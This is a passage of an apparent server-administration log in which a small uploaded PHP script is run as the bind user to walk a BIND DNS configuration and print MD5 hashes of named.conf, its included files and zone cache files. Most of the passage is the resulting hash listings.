MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-23 22:54:16: Establishing a connection
2026-04-23 22:54:16: 

PUT: /tmp/pkp326918

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-23 22:54:16: 

runuser -l bind -s /bin/bash -c '/tmp/pkp326918; rm /tmp/pkp326918'

2026-04-23 22:54:16: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
